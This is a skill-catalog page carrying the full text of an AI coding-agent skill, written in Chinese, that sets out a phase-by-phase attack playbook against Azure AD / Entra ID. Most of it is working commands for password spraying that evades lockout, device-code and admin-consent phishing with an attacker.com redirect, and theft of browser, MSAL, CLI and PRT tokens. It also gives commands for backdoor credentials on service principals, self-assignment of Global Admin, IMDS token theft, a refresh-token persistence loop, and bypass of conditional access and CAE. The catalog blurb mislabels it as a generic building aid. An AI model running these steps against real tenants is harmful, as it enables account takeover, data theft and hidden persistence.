
Azure Ad Attack
- 24 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
azure-ad-attack is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- azure-ad-attack
- AI & Agent Building
- AI-coding skill
Azure Ad Attack by the numbers
- 24 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,912 of 16,544 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 6, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill azure-ad-attackAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 24 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
Azure AD / Entra ID 攻击方法论
定位:从攻击者视角利用 Azure AD 的信任关系、令牌机制和配置缺陷实现横向移动和权限提升
⛔ 深入参考
- Token 窃取与刷新攻击详细流程 → references/token-attacks.md
- Service Principal 与应用注册滥用 → references/app-abuse.md
---
Phase 1: 初始访问
1.1 Password Spray(Azure AD)
# MSOLSpray — Azure AD 密码喷洒
python3 MSOLSpray.py --userlist users.txt --password 'Spring2024!' \
--url https://login.microsoftonline.com
# Ruler — Exchange/O365 密码喷洒
ruler --domain target.com brute --users users.txt --passwords pass.txt
# Trevorspray — 分布式喷洒(绕过 Smart Lockout)
trevorspray --users users.txt --passwords passwords.txt \
--url https://login.microsoftonline.com \
--delay 30 --jitter 10
# ⛔ Azure AD Smart Lockout: 默认 10 次失败/60s
# 策略: 每用户 1-2 次尝试,间隔 > 60s,使用不同 IP1.2 Phishing(Device Code / Consent Grant)
# Device Code Phishing — 不需要目标输入密码
# 1. 获取 device code
curl -X POST https://login.microsoftonline.com/common/oauth2/devicecode \
-d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&resource=https://graph.microsoft.com"
# 2. 发送 device code 给目标(通过钓鱼邮件)
# "请访问 https://microsoft.com/devicelogin 并输入代码: XXXXXXXXX"
# 3. 目标输入代码后,攻击者获取令牌
curl -X POST https://login.microsoftonline.com/common/oauth2/token \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&code=DEVICE_CODE"1.3 Token 提取(已控主机)
# 从浏览器提取 Azure AD Cookie/Token
# Chrome: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies
# Edge: %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cookies
# 从 TokenCache 提取
# Windows: %LOCALAPPDATA%\.IdentityService\msal.cache
# macOS: ~/Library/Group Containers/*.Office/MicrosoftRegistrationDB.reg
# 使用 AADInternals
Import-Module AADInternals
Get-AADIntAccessTokenForMSGraph # 获取 Graph API tokenPhase 2: 枚举与信息收集
# AzureHound — BloodHound 的 Azure 版本
azurehound list -u user@target.com -p 'password' --tenant target.onmicrosoft.com -o output.json
# ROADtools — Azure AD 完整枚举
roadrecon auth -u user@target.com -p 'password'
roadrecon gather
roadrecon gui # Web UI 浏览结果
# Microsoft Graph API 枚举
# 用户列表
curl -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/users?\$select=displayName,userPrincipalName,accountEnabled"
# 组成员
curl -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/groups?\$filter=displayName eq 'Global Admins'&\$expand=members"
# 应用注册
curl -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/applications"
# Service Principals
curl -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/servicePrincipals"Phase 3: 权限提升
3.1 Service Principal 密钥添加
# 如果有权限给 Application 添加凭据
# Application.ReadWrite.All 或 Application 的 Owner
# 添加 Password Credential
curl -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
"https://graph.microsoft.com/v1.0/applications/{app-id}/addPassword" \
-d '{"passwordCredential":{"displayName":"backup"}}'
# 使用新密码以 Service Principal 身份登录
curl -X POST "https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token" \
-d "client_id={app-id}&client_secret={new-secret}&scope=https://graph.microsoft.com/.default&grant_type=client_credentials"3.2 Consent Grant 攻击
# 创建恶意应用 → 诱骗管理员授予高权限
# 如果有 Application Administrator 角色:
# 直接给应用授予 admin consent
# 检查已有高权限应用
curl -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/oauth2PermissionGrants?\$filter=consentType eq 'AllPrincipals'"3.3 PIM (Privileged Identity Management) 激活
# 如果用户有 eligible 角色但未激活
# 使用 AADInternals 或 Graph API 激活
# 列出可激活的角色
curl -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/beta/roleManagement/directory/roleEligibilityScheduleRequests"Phase 4: 横向移动
Azure → On-Premises
Azure AD Connect 同步账户:
├─ MSOL_<installationID> — 拥有域中 DCSync 权限
├─ 获取 Azure AD Connect 配置数据库中的凭据
├─ 使用 AADInternals: Get-AADIntSyncCredentials
└─ 用该凭据 DCSync 整个域
Pass-the-PRT (Primary Refresh Token):
├─ 从已 Azure AD Join 的设备提取 PRT
├─ 使用 PRT 访问所有 Azure AD SSO 资源
├─ 工具: ROADtoken, RequestAADRefreshToken
└─ 可绕过条件访问策略(已信任设备)On-Premises → Azure
如果拥有 On-Prem 的 Azure AD Connect 服务器:
├─ 提取 MSOL 凭据 → 可修改任何 synced 用户的密码
├─ 通过 ADSync 数据库获取云管理员密码
└─ Golden SAML: 控制 AD FS → 伪造任何用户的 SAML tokenPhase 5: 条件访问绕过
常见绕过方式:
├─ Device Code 流程 — 某些策略不覆盖 device flow
├─ Legacy Authentication — 旧协议可能不受 CA 限制
├─ 不同 Client ID — 使用非浏览器客户端(Azure CLI/PowerShell)
├─ Trusted Location 滥用 — 如果从已信任 IP 访问
└─ 合规设备伪造 — PRT 中的设备声明工具速查
| 工具 | 用途 |
|---|---|
| AzureHound | Azure AD 攻击路径发现 |
| ROADtools | 完整 Azure AD 枚举 |
| AADInternals | Azure AD 利用框架 |
| TokenTactics | Token 操作与刷新 |
| MSOLSpray | 密码喷洒 |
| GraphRunner | Graph API 交互 |
| Trevorspray | 分布式喷洒 |
Azure AD Application 与 Service Principal 滥用详解
核心概念
App Registration vs Service Principal:
├─ App Registration (应用注册)
│ ├─ 应用的"模板"定义(全局唯一 Application ID)
│ ├─ 定义所需权限、回调 URL、密钥/证书
│ ├─ 属于创建它的租户
│ └─ 一个 App Registration 可在多个租户中有 Service Principal
│
├─ Service Principal (服务主体)
│ ├─ App Registration 在特定租户中的"实例"
│ ├─ 实际被授予权限的实体
│ ├─ 三种类型:
│ │ ├─ Application: 对应 App Registration
│ │ ├─ Managed Identity: Azure 资源的自动管理身份
│ │ └─ Legacy: 旧版应用
│ └─ 可被分配 Azure AD 角色 / API 权限
│
└─ 关键区别:
├─ App Registration = 应用定义(What the app is)
├─ Service Principal = 应用实例(What the app can do in this tenant)
└─ Owner of App Registration ≠ Admin of Service Principal密钥/证书添加提权 (addPassword / addKey)
前提条件与攻击路径
可添加凭据的角色/权限:
├─ Application Owner → 可给自己拥有的 App 添加密钥
├─ Application Administrator → 可给任何 App 添加密钥
├─ Cloud Application Administrator → 同上(除目录角色分配的 App)
├─ Application.ReadWrite.All (Graph API) → 修改任何 App
├─ microsoft.directory/applications/credentials/update → 直接权限
│
└─ 攻击链:
├─ 发现有高权限的 Service Principal(如 Global Admin 角色)
├─ 给其对应的 App Registration 添加新密钥
├─ 使用新密钥以 Service Principal 身份认证
└─ 获得该 Service Principal 的所有权限addPassword 攻击
# 使用 Graph API 给目标 App 添加密码凭据
# 需要: 当前用户是 App Owner 或有 Application.ReadWrite.All
# 1. 列出高价值应用
curl -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/applications?\$select=id,displayName,appId"
# 2. 检查应用的角色分配
curl -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/servicePrincipals?\$filter=appId eq '{target-app-id}'&\$expand=appRoleAssignments"
# 3. 添加新密码
curl -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
"https://graph.microsoft.com/v1.0/applications/{object-id}/addPassword" \
-d '{"passwordCredential":{"displayName":"backup-cred","endDateTime":"2026-12-31T00:00:00Z"}}'
# 返回值包含 secretText — 这是唯一一次能看到密码明文
# 4. 使用新密码认证
curl -X POST "https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/token" \
-d "client_id={app-id}&client_secret={secret-text}&scope=https://graph.microsoft.com/.default&grant_type=client_credentials"addKey 攻击(证书)
# 添加证书凭据(更隐蔽 — 密码凭据更易被审计)
# 1. 生成自签名证书
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/CN=backdoor"
# 2. 提取 Base64 编码的证书
CERT_B64=$(openssl x509 -in cert.pem -outform DER | base64)
# 3. 使用 Graph API 添加证书
curl -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
"https://graph.microsoft.com/v1.0/applications/{object-id}/addKey" \
-d "{\"keyCredential\":{\"type\":\"AsymmetricX509Cert\",\"usage\":\"Verify\",\"key\":\"$CERT_B64\"},\"proof\":\"<proof-JWT>\",\"passwordCredential\":null}"
# 4. 使用证书认证(需要生成 Client Assertion JWT)
# Python 示例:
python3 -c "
import msal
app = msal.ConfidentialClientApplication(
'{app-id}',
authority='https://login.microsoftonline.com/{tenant-id}',
client_credential={'private_key': open('key.pem').read(), 'thumbprint': '{cert-thumbprint}'}
)
result = app.acquire_token_for_client(scopes=['https://graph.microsoft.com/.default'])
print(result['access_token'])
"Consent Grant 攻击(Admin Consent Phishing)
攻击流程:
├─ 1. 攻击者创建恶意应用(自己的租户或多租户 App)
├─ 2. 配置高危权限请求(Mail.Read, Files.ReadWrite.All 等)
├─ 3. 构造 Admin Consent URL 发送给目标管理员
├─ 4. 管理员点击并授权 → 恶意 App 获得租户级权限
└─ 5. 使用 App 的 Client Credentials 持续访问目标数据# 构造 Admin Consent Phishing URL
TENANT_ID="target-tenant-id-or-common"
CLIENT_ID="attacker-app-client-id"
REDIRECT_URI="https://attacker.com/callback"
SCOPE="https://graph.microsoft.com/.default"
# Admin consent URL
echo "https://login.microsoftonline.com/$TENANT_ID/adminconsent?client_id=$CLIENT_ID&redirect_uri=$REDIRECT_URI"
# 或使用 User Consent(如果租户允许用户自行 consent)
echo "https://login.microsoftonline.com/$TENANT_ID/oauth2/v2.0/authorize?client_id=$CLIENT_ID&response_type=code&redirect_uri=$REDIRECT_URI&scope=$SCOPE&response_mode=query"
# ⛔ 如果目标租户设置:
# "Users can consent to apps" = No → 需要管理员
# "Users can consent to low-risk permissions" → 部分权限可绕过
# "Do not allow user consent" → 必须 Admin Consent检查已有的高权限 Consent
# 列出所有 Admin Consent(AllPrincipals 类型)
curl -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/oauth2PermissionGrants?\$filter=consentType eq 'AllPrincipals'"
# 列出具有高危权限的 Service Principal
curl -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/servicePrincipals?\$expand=appRoleAssignments" | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
for sp in data.get('value',[]):
for role in sp.get('appRoleAssignments',[]):
print(f\"{sp['displayName']} → {role.get('resourceDisplayName','?')}: {role.get('appRoleId','?')}\")
"App Role 滥用
危险 Graph API Permissions 列表
⛔ 高危 Application Permissions(无需用户交互):
├─ RoleManagement.ReadWrite.Directory → 给任何人分配任何角色(≈ Global Admin)
├─ AppRoleAssignment.ReadWrite.All → 给 SP 分配任何 App Role
├─ Application.ReadWrite.All → 修改任何 App(添加密钥/权限)
├─ ServicePrincipalEndpoint.ReadWrite.All → 修改 SP 配置
│
├─ Mail.ReadWrite → 读写任何用户邮件
├─ Files.ReadWrite.All → 读写任何用户的 OneDrive/SharePoint 文件
├─ Sites.ReadWrite.All → 读写所有 SharePoint 站点
│
├─ Directory.ReadWrite.All → 读写目录对象(用户/组/设备)
├─ Group.ReadWrite.All → 修改安全组成员
├─ User.ReadWrite.All → 修改用户属性
├─ User.Export.All → 导出用户数据
│
├─ Policy.ReadWrite.ConditionalAccess → 修改/禁用条件访问策略
├─ Policy.ReadWrite.AuthenticationMethod → 修改认证方法策略
├─ TrustFrameworkKeySet.ReadWrite.All → 修改信任框架密钥
│
└─ ⛔ 终极提权:
├─ RoleManagement.ReadWrite.Directory + 任何 App 权限
│ → 给自己分配 Global Admin
└─ AppRoleAssignment.ReadWrite.All
→ 给自己分配 RoleManagement.ReadWrite.Directory
→ 然后给自己分配 Global Admin利用 RoleManagement.ReadWrite.Directory
# 如果 Service Principal 有 RoleManagement.ReadWrite.Directory
# 可以给任何用户/SP 分配 Global Admin
# 获取 Global Administrator 角色模板 ID
# 62e90394-69f5-4237-9190-012177145e10 = Global Administrator
# 给攻击者用户分配 Global Admin
curl -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
-d '{
"principalId": "<attacker-user-or-sp-object-id>",
"roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10",
"directoryScopeId": "/"
}'利用 AppRoleAssignment.ReadWrite.All
# 给 Service Principal 分配更多 App Role
# 实现权限链式升级
# 获取 Microsoft Graph 的 Service Principal Object ID
GRAPH_SP=$(curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/servicePrincipals?\$filter=appId eq '00000003-0000-0000-c000-000000000000'" | \
python3 -c "import json,sys; print(json.load(sys.stdin)['value'][0]['id'])")
# 给自己的 SP 分配 RoleManagement.ReadWrite.Directory App Role
# App Role ID for RoleManagement.ReadWrite.Directory: 9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8
curl -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
"https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP/appRoleAssignedTo" \
-d '{
"principalId": "<my-sp-object-id>",
"resourceId": "'"$GRAPH_SP"'",
"appRoleId": "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8"
}'Managed Identity 滥用
Managed Identity 类型:
├─ System-Assigned: 与 Azure 资源绑定,资源删除则 MI 删除
├─ User-Assigned: 独立创建,可分配给多个资源
│
└─ 攻击场景:
├─ 1. 已获取 Azure VM/App Service → 从 IMDS 获取 MI Token
├─ 2. MI 可能被分配了过高权限(Contributor/Owner on Subscription)
├─ 3. 使用 MI Token 横向移动到其他 Azure 资源
└─ 4. MI Token 无法刷新 — 每次从 IMDS 获取新 Token# 从 Azure VM 获取 Managed Identity Token
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# 获取 Graph API Token
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/"
# 获取 Key Vault Token
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/"
# App Service 的 Managed Identity(不同端点)
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \
-H "X-IDENTITY-HEADER: $IDENTITY_HEADER"
# 使用 MI Token 操作 Azure 资源
export ARM_TOKEN=$(curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | \
python3 -c "import json,sys; print(json.load(sys.stdin)['access_token'])")
# 列出订阅
curl -H "Authorization: Bearer $ARM_TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01"
# 列出资源组
curl -H "Authorization: Bearer $ARM_TOKEN" \
"https://management.azure.com/subscriptions/{sub-id}/resourceGroups?api-version=2021-04-01"
# 读取 Key Vault Secrets(如果 MI 有权限)
KV_TOKEN=$(curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/" | \
python3 -c "import json,sys; print(json.load(sys.stdin)['access_token'])")
curl -H "Authorization: Bearer $KV_TOKEN" \
"https://{vault-name}.vault.azure.net/secrets?api-version=7.3"Multi-Tenant App 跨租户攻击
跨租户攻击场景:
├─ 1. 恶意多租户应用
│ ├─ 攻击者注册 Multi-Tenant App
│ ├─ 诱骗目标租户管理员同意安装
│ ├─ App 在目标租户创建 Service Principal
│ └─ 攻击者从自己的租户控制该 App → 访问目标租户数据
│
├─ 2. 已有多租户应用的滥用
│ ├─ 发现目标租户安装了某个 Multi-Tenant App
│ ├─ 如果攻击者能控制该 App 的源租户 → 可跨租户访问
│ └─ 或者: 找到 App 的密钥泄露 → 用密钥访问所有租户
│
└─ 3. B2B Guest 用户 → 跨租户访问
├─ Guest 用户可能被分配了过高权限
├─ Guest 用户在资源租户中有独立的 Token
└─ 可通过 Guest 身份枚举资源租户的目录# 检查租户中的多租户应用
curl -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/servicePrincipals?\$filter=appOwnerOrganizationId ne {my-tenant-id}" | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
for sp in data.get('value',[]):
print(f\"App: {sp['displayName']} | Owner Tenant: {sp.get('appOwnerOrganizationId','?')} | AppId: {sp['appId']}\")
"
# 检查哪些外部应用有高权限
curl -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/oauth2PermissionGrants" | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
for grant in data.get('value',[]):
if grant.get('consentType') == 'AllPrincipals':
print(f\"SP: {grant['clientId']} | Scope: {grant.get('scope','?')} | Resource: {grant['resourceId']}\")
"工具速查
ROADtools
# https://github.com/dirkjanm/ROADtools
# Azure AD 完整枚举
# 认证
roadrecon auth -u user@target.com -p 'password'
roadrecon auth --access-token $AT # 使用已有 Token
roadrecon auth --prt-cookie <cookie> # 使用 PRT
# 收集数据
roadrecon gather
# Web UI 分析
roadrecon gui
# 浏览器访问 http://127.0.0.1:5000
# 可视化: 用户、组、应用、Service Principal、角色分配GraphRunner
# https://github.com/dafthack/GraphRunner
Import-Module .\GraphRunner.ps1
# 认证
$token = Get-GraphTokenDeviceCode
# 枚举
Invoke-DumpApps -Tokens $token
Invoke-DumpCAPS -Tokens $token # 条件访问策略
Invoke-DumpUsers -Tokens $token
# 攻击
Invoke-InjectOAuthApp -Tokens $token # 注入恶意 OAuth App
Invoke-SecurityGroupCloner -Tokens $token # 克隆安全组
# 数据窃取
Invoke-SearchMailbox -Tokens $token -SearchTerm "password"
Invoke-SearchSharePoint -Tokens $token -SearchTerm "confidential"攻击决策树
已获取 Azure AD 访问后:
├─ 检查当前权限
│ ├─ 是 Application Owner?
│ │ ├─ 是 → addPassword 添加凭据 → 以 SP 身份操作
│ │ └─ 检查该 App 的 SP 有什么权限
│ │
│ ├─ 有 Application.ReadWrite.All?
│ │ ├─ 是 → 可修改任何 App → 找有高权限 SP 的 App → addPassword
│ │ └─ 否 → 检查其他提权路径
│ │
│ ├─ 有 AppRoleAssignment.ReadWrite.All?
│ │ ├─ 是 → 给自己分配更多 App Role(如 RoleManagement.ReadWrite.Directory)
│ │ └─ 然后给自己分配 Global Admin
│ │
│ └─ 有 RoleManagement.ReadWrite.Directory?
│ └─ 是 → 直接分配 Global Admin
│
├─ 检查 Managed Identity
│ ├─ 在 Azure VM/App Service 上?
│ │ ├─ 是 → 从 IMDS 获取 MI Token
│ │ └─ 检查 MI 的角色分配
│ └─ MI 有 Contributor/Owner? → 控制整个订阅
│
└─ 检查多租户应用
├─ 有来自外部租户的 App? → 检查权限
└─ 可创建多租户 App? → Consent Phishing检测与 OPSEC
蓝队监控点:
├─ 凭据添加:
│ ├─ Azure AD Audit Log: "Update application - Certificates and secrets management"
│ ├─ Graph API: servicePrincipal/addPassword, application/addKey
│ └─ 监控非常规时间/非常规 IP 的凭据操作
│
├─ Consent Grant:
│ ├─ "Consent to application" 审计事件
│ ├─ 新的 AllPrincipals 类型 OAuth2PermissionGrant
│ └─ 外部租户应用的新 Service Principal 创建
│
├─ 角色分配:
│ ├─ "Add member to role" 审计事件
│ ├─ 非 PIM 激活的直接角色分配
│ └─ Service Principal 被分配高危角色
│
└─ 红队 OPSEC:
├─ 添加凭据后立即使用(减少检测窗口)
├─ 使用与现有凭据相同的到期时间
├─ DisplayName 模仿已有的凭据命名
└─ 操作完成后删除添加的凭据Azure AD Token 窃取与刷新攻击详解
Token 类型概览
Azure AD Token 体系:
├─ Access Token (AT)
│ ├─ JWT 格式,含用户/应用声明
│ ├─ 默认有效期 60-90 分钟
│ ├─ 用于访问 Graph API / Azure Resource Manager 等
│ └─ 被窃后可直接 replay(无绑定机制,除非启用 CAE)
│
├─ Refresh Token (RT)
│ ├─ 不透明字符串(非 JWT)
│ ├─ 默认有效期 90 天(inactive 14 天过期)
│ ├─ 用于获取新的 AT + RT 对
│ ├─ 与 Client ID 绑定,但受 FOCI 影响
│ └─ Single-use(使用后旧 RT 失效,返回新 RT)
│
└─ Primary Refresh Token (PRT)
├─ 设备级别的 SSO token
├─ 存储在 TPM/LSA 中(Windows)
├─ Azure AD Join / Hybrid Join 设备自动获取
├─ 包含设备声明 → 可满足 Conditional Access 的设备合规要求
└─ 窃取 PRT = 完全冒充该用户在该设备上的身份Token 提取位置
浏览器 Token 提取
# Chrome/Edge 中的 Azure AD Cookie
# ESTSAUTH / ESTSAUTHPERSISTENT — Azure AD 会话 Cookie
# 位置:
# Windows: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies (SQLite)
# Windows: %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cookies
# macOS: ~/Library/Application Support/Google/Chrome/Default/Cookies
# 使用 SharpChromium 提取
SharpChromium.exe cookies /edge /format:json
# 使用 Mimikatz 提取浏览器 Cookie
mimikatz # dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies"
# ⛔ ESTSAUTHPERSISTENT 可在其他设备上重放
# 直接设置该 Cookie → 获得 Azure AD 会话 → 用于获取新 TokenMSAL Token Cache 提取
# Windows MSAL Cache 位置:
# %LOCALAPPDATA%\.IdentityService\msal.cache
# %LOCALAPPDATA%\.IdentityService\AccountStore.json
# 加密方式: DPAPI(当前用户上下文)
# 解密 MSAL Cache
# 方法 1: Mimikatz
mimikatz # dpapi::masterkey /in:%APPDATA%\Microsoft\Protect\<SID>\<GUID>
mimikatz # dpapi::blob /in:msal.cache /masterkey:<key>
# 方法 2: SharpMSAL
SharpMSAL.exe
# macOS Token Cache 位置:
# ~/Library/Group Containers/UBF8T346G9.Office/MicrosoftRegistrationDB.reg
# Keychain: login.keychain-db (搜索 "Microsoft" 相关条目)Azure CLI / PowerShell Token 提取
# Azure CLI Token Cache
# Windows: %USERPROFILE%\.azure\msal_token_cache.json
# Linux/macOS: ~/.azure/msal_token_cache.json
# ⛔ 此文件包含 Access Token + Refresh Token,明文 JSON!
# 查看 Azure CLI 当前 Token
cat ~/.azure/msal_token_cache.json | python3 -m json.tool
# Azure PowerShell Token Cache
# Windows: %USERPROFILE%\.Azure\TokenCache.dat (DPAPI)
# 或: %USERPROFILE%\.Azure\AzureRmContext.json
# 使用 AADInternals 获取当前会话 Token
Import-Module AADInternals
$at = Get-AADIntAccessTokenForMSGraph
$rt = Get-AADIntRefreshTokenForMSGraphPRT 提取
# PRT 存储在 LSA(Local Security Authority)中
# 需要 SYSTEM 权限或 SeDebugPrivilege
# 方法 1: Mimikatz(需要 SYSTEM)
mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap
# 方法 2: ROADtoken(模拟 PRT 流程)
ROADtoken.exe
# 方法 3: AADInternals
Import-Module AADInternals
Get-AADIntUserPRTToken
# 输出 PRT 后,可用于生成新的 Access Token
# PRT 包含: 用户身份 + 设备声明 + Session Key(TPM 保护)Token Replay 攻击(Pass-the-Token)
Access Token Replay
# 直接使用窃取的 Access Token 调用 API
# 无需密码/MFA,Token 本身就是凭据
# Graph API 调用
curl -H "Authorization: Bearer $STOLEN_ACCESS_TOKEN" \
"https://graph.microsoft.com/v1.0/me"
# Azure Resource Manager 调用
curl -H "Authorization: Bearer $STOLEN_ARM_TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01"
# 使用 Azure CLI
az account get-access-token # 正常获取
# 或注入窃取的 Token
export AZURE_ACCESS_TOKEN=$STOLEN_TOKEN
az rest --method GET --url "https://graph.microsoft.com/v1.0/users"Refresh Token Replay
# Refresh Token 更有价值 — 可持续获取新 Access Token
# 使用 RT 获取新 AT(指定目标资源)
curl -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "grant_type=refresh_token" \
-d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c" \
-d "refresh_token=$STOLEN_RT" \
-d "scope=https://graph.microsoft.com/.default"
# 使用 TokenTactics
Import-Module TokenTactics
RefreshTo-MSGraph -refreshToken $STOLEN_RT -domain target.com
RefreshTo-AzureManagement -refreshToken $STOLEN_RT -domain target.com
RefreshTo-Outlook -refreshToken $STOLEN_RT -domain target.com
RefreshTo-MSTeams -refreshToken $STOLEN_RT -domain target.com
RefreshTo-DODMSGraph -refreshToken $STOLEN_RT # DoD 环境PRT Replay(Pass-the-PRT)
# PRT → 获取任何 Azure AD SSO 资源的 Access Token
# 模拟设备上的 SSO 流程
# 使用 AADInternals
# 1. 提取 PRT + Session Key
$prt = Get-AADIntUserPRTToken
# 2. 用 PRT 获取 Access Token(任意资源)
$at = Get-AADIntAccessTokenWithPRT -PRTToken $prt -Resource "https://graph.microsoft.com"
# 3. 生成浏览器可用的 Cookie
# PRT → 转换为 x-ms-RefreshTokenCredential → 注入浏览器
# 可通过 Chrome DevTools 注入 Cookie 到 login.microsoftonline.com
# ⛔ PRT 的关键优势:包含设备声明
# 许多 Conditional Access 策略要求 "合规设备"
# 使用 PRT 可自动满足该要求,绕过 CARefresh Token Rotation 与滥用
Refresh Token 生命周期:
├─ 首次认证 → 获得 RT₁
├─ 使用 RT₁ → 获得 AT₂ + RT₂(RT₁ 失效)
├─ 使用 RT₂ → 获得 AT₃ + RT₃(RT₂ 失效)
├─ ...循环...
│
├─ ⛔ 攻击窗口:
│ ├─ RT 单次使用,但有宽限期(约 15 分钟)
│ ├─ 在宽限期内,旧 RT 仍可使用
│ ├─ 攻击者和用户可能同时使用同一 RT
│ └─ 检测: Token reuse 会触发 Azure AD 异常检测
│
└─ 持久化策略:
├─ 定期刷新 RT(每隔几小时)保持活跃
├─ 不要在短时间内大量刷新(触发异常)
└─ 使用不同 Client ID 获取多个 RT(FOCI 策略)# RT 自动续约脚本(保持访问)
# 每 4 小时刷新一次
while true; do
RESPONSE=$(curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "grant_type=refresh_token&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&refresh_token=$RT&scope=https://graph.microsoft.com/.default")
AT=$(echo $RESPONSE | jq -r '.access_token')
RT=$(echo $RESPONSE | jq -r '.refresh_token')
echo "[$(date)] Token refreshed successfully"
sleep 14400
doneCAE (Continuous Access Evaluation) 绕过
CAE 机制:
├─ 传统: AT 在过期前一直有效(60-90 min)
├─ CAE: 资源提供者可实时检查 Token 是否仍有效
│ ├─ 用户禁用 → Token 立即失效
│ ├─ 密码修改 → Token 立即失效
│ ├─ 位置变化 → Token 可能失效
│ └─ 风险检测 → Token 可能失效
│
└─ CAE Token 特征:
├─ JWT 中 "xms_cc" claim 包含 "cp1"
├─ AT 有效期延长至 24 小时(但可被撤销)
└─ 仅支持部分资源: Exchange, SharePoint, Teams, GraphCAE 绕过方法
# 方法 1: 使用不支持 CAE 的 Client ID
# 许多旧版应用/Client ID 不请求 CAE,获取的 Token 无 "cp1" claim
# 使用 Azure CLI Client ID: 04b07795-a71b-4346-935f-02f9a1efa4ce
# 使用 Azure PowerShell Client ID: 1950a258-227b-4e31-a9cf-717495945fc2
curl -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "grant_type=refresh_token" \
-d "client_id=04b07795-a71b-4346-935f-02f9a1efa4ce" \
-d "refresh_token=$RT" \
-d "scope=https://graph.microsoft.com/.default"
# 返回的 AT 可能不包含 cp1 → 不受 CAE 实时撤销影响
# 方法 2: 利用 CAE 的传播延迟
# 即使启用 CAE,撤销信号传播需要时间(通常几分钟)
# 在管理员响应之前完成操作
# 方法 3: 避免触发 CAE 事件
# 不要修改密码、不要从异常位置登录
# 保持低调,使用与原始用户相同的 IP 范围FOCI (Family of Client IDs) 滥用
FOCI 原理:
├─ Microsoft 将部分第一方应用归为 "Family"
├─ 同一 Family 内的应用共享 Refresh Token
├─ 用应用 A 的 RT → 可获取应用 B 的 AT
├─ ⛔ 意味着: 窃取一个应用的 RT → 可访问多个服务
│
└─ 已知 FOCI Family 成员:
├─ Microsoft Office: d3590ed6-52b3-4102-aeff-aad2292ab01c
├─ Microsoft Teams: 1fec8e78-bce4-4aaf-ab1b-5451cc387264
├─ Microsoft Outlook: 27922004-5251-4030-b22d-91ecd9a37ea4
├─ Microsoft Edge: ecd6b820-32c2-49b6-98a6-444530e5a77a
├─ Microsoft Planner: 66375f6b-983f-4c2c-9701-d680650f588f
├─ Microsoft Office Web: 57fb890c-0dab-4253-a5e0-7188c88b2bb4
├─ OneDrive: ab9b8c07-8f02-4f72-87fa-80105867a763
├─ Bing: 2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8
